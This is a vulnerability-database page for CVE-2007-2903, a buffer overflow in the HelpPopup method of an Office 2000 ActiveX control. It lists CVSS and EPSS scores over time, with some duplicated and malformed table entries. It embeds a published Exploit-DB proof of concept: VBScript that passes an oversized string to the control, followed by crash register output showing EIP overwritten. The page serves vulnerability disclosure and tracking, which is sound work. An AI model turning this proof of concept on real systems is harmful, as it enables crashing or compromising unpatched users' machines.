CVE-2007-2903

EPSS

48.65%V4

Vector

Network

Published

2007-05-30
08h00 +00:00

Modified

2017-07-28
10h57 +00:00

Official links

CVE.org

NVD

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Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

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CVE Descriptions

Buffer overflow in the HelpPopup method in the Microsoft Office 2000 Controllo UA di Microsoft Office ActiveX control (OUACTRL.OCX) 1.0.1.9 allows remote attackers to cause a denial of service (probably winhlp32.exe crash) via a long first argument. NOTE: it is not clear whether this issue crosses privilege boundaries.

CVE Informations

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	5		AV:N/AC:L/Au:N/C:N/I:N/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	29.42%	–	–
2022-04-03	–	–	29.42%	–	–
2023-03-12	–	–	–	43.04%	–
2024-01-21	–	–	–	40.62%	–
2024-02-25	–	–	–	39.64%	–
2024-04-07	–	–	–	42.62%	–
2024-06-02	–	–	–	49.83%	–
2024-06-23	–	–	–	49.12%	–
2024-10-27	–	–	–	54.16%	–
2024-12-22	–	–	–	42.46%	–
2025-02-02	–	–	–	65.25%	–
2025-01-19	–	–	–	42.46%	–
2025-02-02	–	–	–	65.25%	–
2025-03-18	–	–	–	–	43.84%
2025-03-30	–	–	–	–	48.65%
2025-03-30	–	–	–	–	48.65,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	96%
2022-04-03	97%
2023-03-12	97%
2024-01-21	97%
2024-02-25	97%
2024-04-07	97%
2024-06-02	98%
2024-06-23	98%
2024-10-27	98%
2024-12-22	97%
2025-02-02	98%
2025-01-19	97%
2025-02-02	98%
2025-03-18	97%
2025-03-30	98%
2025-03-30	98%

Exploit information

Exploit Database EDB-ID : 3973

Publication date : 2007-05-22 22h00 +00:00
Author : shinnai
EDB Verified : Yes

<pre> <span style="font: 14pt Courier New;"><p align="center"><b>2007/05/23</b></p></span> <code><span style="font: 10pt Courier New;"><span class="general1-symbol">--------------------------------------------------------------------------------------------------------------------------- <b>Microsoft Office 2000 Controllo UA di Microsoft Office (OUACTRL.OCX v. 1.0.1.9) "HelpPopup" method Remote Buffer Overflow and winhlp32.exe Denial of Service (hey, don't you think this is a very long title :)</b> author: shinnai mail: shinnai[at]autistici[dot]org site: http://shinnai.altervista.org control is set as: RegKey Safe for Script: True RegKey Safe for Init: True --------------------------------------------------------------------------------------------------------------------------- <object classid='clsid:8936033C-4A50-11D1-98A4-00A0C90F27C6' id='test'></object> <input language=VBScript onclick=tryMe() type=button value="Click here to start the test"> <script language = 'vbscript'> Sub tryMe() buff = String(1000, "a") test.HelpPopup buff, "default" End Sub </script> Registers content: EAX 00000000 ECX 7E39EC0C USER32.7E39EC0C EDX 7C91EB94 ntdll.KiFastSystemCallRet EBX 38CFD2D0 OUACTRL.38CFD2D0 ESP 01D0F434 UNICODE "aaaa..." EBP 00610061 ESI 02ACC86C EDI 00000000 EIP 00610061 </span></span> </code></pre> # milw0rm.com [2007-05-23]